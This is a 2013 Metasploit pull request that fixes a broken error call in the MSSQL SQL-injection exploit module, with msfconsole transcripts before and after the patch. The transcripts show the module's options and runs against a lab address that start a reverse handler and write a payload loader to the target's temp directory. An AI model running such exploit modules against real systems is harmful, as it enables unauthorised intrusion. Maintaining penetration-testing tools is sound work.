rapid7/metasploit-framework — pull request #2703 by jvazquez-r7 (2013-11-27 17:58:57+00:00)
Title: fix fail_with usage on Exploit::Remote::MSSQL_SQLI

Same history than #2702

Verification: use exploit/windows/mssql/mssql_payload_sqli

- [ ] Before patch: Error message "NameError uninitialized constant Msf::Exploit::Remote::MSSQL_SQLI::Failure"

```
msf > use exploit/windows/mssql/mssql_payload_sqli
msf exploit(mssql_payload_sqli) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(mssql_payload_sqli) > show options

Module options (exploit/windows/mssql/mssql_payload_sqli):

Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE no Cookie value
DATA no POST data, if necessary, with [SQLi] indicating the injection
DELIVERY OLD yes Payload delivery method (accepted: PS, CMD, OLD)
GET_PATH / yes The complete path with [SQLi] indicating the injection
METHOD GET yes GET or POST
Proxies no Use a proxy chain
RHOST 192.168.172.133 yes The target address
RPORT 80 yes The target port
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(mssql_payload_sqli) > run

[*] Started reverse handler on 192.168.172.1:4444
[*] Warning: This module will leave TFyyxgzt.exe in the SQL Server %TEMP% directory
[*] Writing the debug.com loader to the disk...
[-] Exploit failed: NameError uninitialized constant Msf::Exploit::Remote::MSSQL_SQLI::Failure
```

- [ ] After patch: "The SQL injection parameter was not specified...." correct fail_with message

```
msf exploit(mssql_payload) > use exploit/windows/mssql/mssql_payload_sqli
smsf exploit(mssql_payload_sqli) > show options

Module options (exploit/windows/mssql/mssql_payload_sqli):

Name Current Setting Required Description
---- --------------- -------- -----------
COOKIE no Cookie value
DATA no POST data, if necessary, with [SQLi] indicating the injection
DELIVERY OLD yes Payload delivery method (accepted: PS, CMD, OLD)
GET_PATH / yes The complete path with [SQLi] indicating the injection
METHOD GET yes GET or POST
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(mssql_payload_sqli) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(mssql_payload_sqli) > run

[*] Started reverse handler on 192.168.172.1:4444
[*] Warning: This module will leave uwNWwypu.exe in the SQL Server %TEMP% directory
[*] Writing the debug.com loader to the disk...
[-] Exploit failed [no-target]: The SQL injection parameter was not specified in the GET path
^Cmsf exploit(mssql_payload_sqli) >
```